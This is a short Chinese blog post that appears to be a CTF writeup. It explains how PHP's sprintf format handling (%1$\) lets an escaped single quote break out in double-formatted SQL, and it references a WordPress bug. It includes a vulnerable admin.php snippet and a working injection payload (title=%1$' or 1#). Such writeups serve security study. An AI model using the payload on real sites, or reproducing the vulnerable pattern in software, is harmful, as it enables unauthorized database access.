PHP格式化字符串的漏洞
Nov 23, 2017 09:54 · 211 words · 1 minute read
这是WordPress爆出的一个SQL漏洞,漏洞发生在WP的后台上传图片的位置,通过修改图片在数据库中的参数,以及利用php的sprintf函数的特性,在删除图片时,导致’单引号的逃逸。漏洞利用较为困难。
漏洞函数
该漏洞利用了两个函数,一个是常见的mysql_real_escape_string()函数,另一个是 sprintf()函数。
mysql_real_escape_string()函数的作用是转义sql语句中的特殊字符,即会将单引号(‘)变为(\‘)。
sprint()是把百分号(%)符号替换成一个作为参数进行传递的变量,类似于C的占位符。
示例:
<?php
$a = 'abc';
$b = 'def';
echo sprintf(" '%s' \n ",$a,$b);
echo "<br>";
echo sprintf(" '%y' \n ",$a);
echo "<br>";
echo sprintf(" '%\' \n ",$a);
?>
输出结果
'abc'
''
''
由上测试可知(%\ )会被当成格式化字符串,输出为空。
利用条件
1.执行语句使用sprintf或vsrptinf进行拼接
2.执行语句进行了两次拼接,第一次拼接的参数内容可控,类似如下代码:
<?php
$input = mysql_real_escape_string("%1$' and 1=1#");
$b = sprintf("AND b='%s'", $input);
...
$sql = sprintf("SELECT * FROM t WHERE a='%s' $b", 'admin');
echo $sql;
//result: SELECT * FROM t WHERE a='admin' AND b=' ' and 1=1#'
以上这就是一个简单的漏洞利用示例
漏洞利用
这段代码就是admin.php中存在漏洞的代码。
if(isset($_GET['id'])){
$id = mysql_real_escape_string($_GET['id']);
if(isset($_GET['title'])){
$title = mysql_real_escape_string($_GET['title']);
$title = sprintf("AND title='%s'", $title); #用sprintf第一次对$title处理。
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id); #第二次使用sprintf还有$title变量
$result = mysql_query($sql,$con);
$row = mysql_fetch_array($result);
if(isset($row['title'])&&isset($row['content'])){
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}else{
die("This article does not exist.");
}
}
在这里 对$title有两次处理,所以存在漏洞。
- 构造$title为title=%’ or 1#
- sprintf第一次处理后$title=%\’ or 1#
sprintf第二次处理时,整个代码如下:
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id); #title传入后 $sql = sprintf("SELECT * FROM article WHERE id='%s' AND title='%\' or 1#'", $id);
这个时候sprintf函数就会将(\ )吃掉,但是这时会报一个sprintf参数不足的错误,因为这个函数里有两个格式化字符(%S,%\ )但是只有一个参数($id),不过PHP的格式化字符串还有另一种表示方法%1$s,其中%后面的数字就表示引用第几个参数,$后面是格式化字符串的类型,例:
$a = 'abc'; $b = 'def'; echo sprintf(' %2$s,%1$s',$b,$a); // 结果 def,abc
由上可构造title=%1$’ or 1#,这样就不会有参数不足的问题这样最后的代码如下:
$id=1 $sql = sprintf("SELECT * FROM article WHERE id='%s' AND title='%1$\' or 1#'", $id); echo $sql; //结果 SELECT * FROM article WHERE id='1' AND title='' or 1#
参考链接
https://github.com/LCTF/LCTF2017/blob/master/src/web/simple-blog/web-f1sh-writeup.md